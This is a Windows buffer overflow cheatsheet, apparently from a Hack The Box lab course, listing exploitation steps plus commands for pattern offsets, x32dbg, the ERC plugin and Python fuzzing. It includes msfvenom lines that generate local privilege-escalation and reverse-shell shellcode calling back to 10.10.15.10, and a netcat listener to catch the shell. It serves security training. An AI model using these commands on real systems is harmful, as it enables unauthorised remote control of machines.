Windows Buffer Overflows Cheatsheet

Buffer Overflow Steps

1. Fuzzing Parameters
2. Controlling EIP
3. Identifying Bad Characters
4. Finding a Return Instruction
5. Jumping to Shellcode

Commands

Command	Description
General
xfreerdp /v:<target IP address> /u:htb-student /p:<password>	RDP to Windows VM
/usr/bin/msf-pattern_create -l 5000	Create Pattern
/usr/bin/msf-pattern_offset -q 31684630	Find Pattern Offset
netstat -a \|findstr LISTEN	List listening ports on a Windows machine
.\nc.exe 127.0.0.1 8888	Interact with port
msfvenom -p 'windows/exec' CMD='cmd.exe' -f 'python' -b '\x00'	Generate Local Privesc Shellcode
msfvenom -p 'windows/shell_reverse_tcp' LHOST=10.10.15.10 LPORT=1234 -f 'python' -b '\x00\0x0a'	Generate Reverse Shell Shellcode
nc -lvnp 1234	Listen for reverse shell
x32dbg
F3	Open file
alt+A	Attach to a process
alt+L	Go to Logs Tab
alt+E	Go to Symbols Tab
ctrl+f	Search for instruction
ctrl+b	Search for pattern
Search For>All Modules>Command	Search all loaded modules for instruction
Search For>All Modules>Pattern	Search all loaded modules for pattern
ERC
ERC --config SetWorkingDirectory C:\Users\htb-student\Desktop\	Configure Working Directory
ERC --pattern c 5000	Create Pattern
ERC --pattern o 1hF0	Find Pattern Offset
ERC --bytearray	Generate All Characters Byte Array
ERC --bytearray -bytes 0x00	Generate Byte Array excluding certain bytes
ERC --compare 0014F974 C:\Users\htb-student\Desktop\ByteArray_1.bin	Compare bytes in memory to a Byte Array file
ERC --ModuleInfo	List loaded modules and their memory protections
Python
python -c "print('A'*10000)"	Print fuzzing payload
python -c "print('A'*10000, file=open('fuzz.wav', 'w'))"	Write fuzzing payload to a file
breakpoint()	Add breakpoint to Python exploit
c	Continue from breakpoint